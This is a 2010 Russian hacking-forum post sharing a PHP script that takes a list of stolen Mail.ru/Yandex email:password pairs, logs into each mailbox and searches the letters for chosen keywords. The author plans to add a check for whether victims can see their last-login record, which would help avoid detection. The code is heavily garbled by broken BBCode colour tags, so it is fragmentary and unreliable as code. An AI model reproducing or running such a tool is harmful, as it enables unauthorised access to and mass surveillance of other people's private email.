HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости Mail-сервис
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.09.2010, 03:25
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию

Mail.ru/Yandex.ru letters finder

[PHP]
PHP код:
[COLOR="#0000BB"]По запросу<font color="#000000">

Вот написал тут.

Суть такова(с):

Вы отдаете ей на съеденье   список mail;pass и задаете с  исок слов, которые надо и  скать в письмах.

Ну и на выходе список сов  падений.

</
font>[COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]найдено[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$letters[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]письмо(а/ем)

"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'|(.+)\n.+\n.+\n.+\n.+\n.+\n(.+)|i'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]preg_match_all[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pattern[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"]);;

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]"[/COLOR][COLOR="#007700"];

echo[/COLOR][COLOR="#0000BB"]strip_tags[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]);

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]strip_tags[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]);

echo[/COLOR][COLOR="#DD0000"]"

"
[/COLOR][COLOR="#007700"];

}

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

}

}
else {

echo[/COLOR][COLOR="#DD0000"]"По запросу[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$ssearch[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]писем не найдено"[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sock[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]set_time_limit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"users.txt"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"r"[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//"[/COLOR][COLOR="#007700"];

while (![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]";"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

if([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]) >[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) {

echo[/COLOR][COLOR="#DD0000"]"Password contains ;
"
[/COLOR][COLOR="#007700"];

continue;

}

[/
COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"@"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$acc[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];

if([/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]mailru_searcher[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filep[/COLOR][COLOR="#007700"]);

echo[/
COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

function[/
COLOR][COLOR="#0000BB"]mailru_searcher[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"]){

echo[/
COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#DD0000"]@[/COLOR][COLOR="#0000BB"]$domain[/COLOR][COLOR="#DD0000"];[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#DD0000"]
"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$search_array[/COLOR][COLOR="#007700"]= Array([/COLOR][COLOR="#DD0000"]"и раз"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"и двас"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"и трис"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"и n-c"[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//"[/COLOR][COLOR="#007700"];

foreach([/COLOR][COLOR="#0000BB"]$search_array[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$search_query[/COLOR][COLOR="#007700"]){

[/
COLOR][COLOR="#0000BB"]mail_search[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$search_query[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]);

}

echo[/
COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]?>[/COLOR] 
[/COLOR]
PHP код:
 
Особо не тестил , но вроде пашет. Скорочть не ахти, но всяко лучше чем руками. Буду рад принять советы по оптимизации.

ЗЫ

Надо дописать еще штуку, которая будет палить если у юзверя включено отображение последнего входа

ЗЫЫ

Извиняюсь, если где нибудь подобное уже выкладывалось. Не нашел.[/B]
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.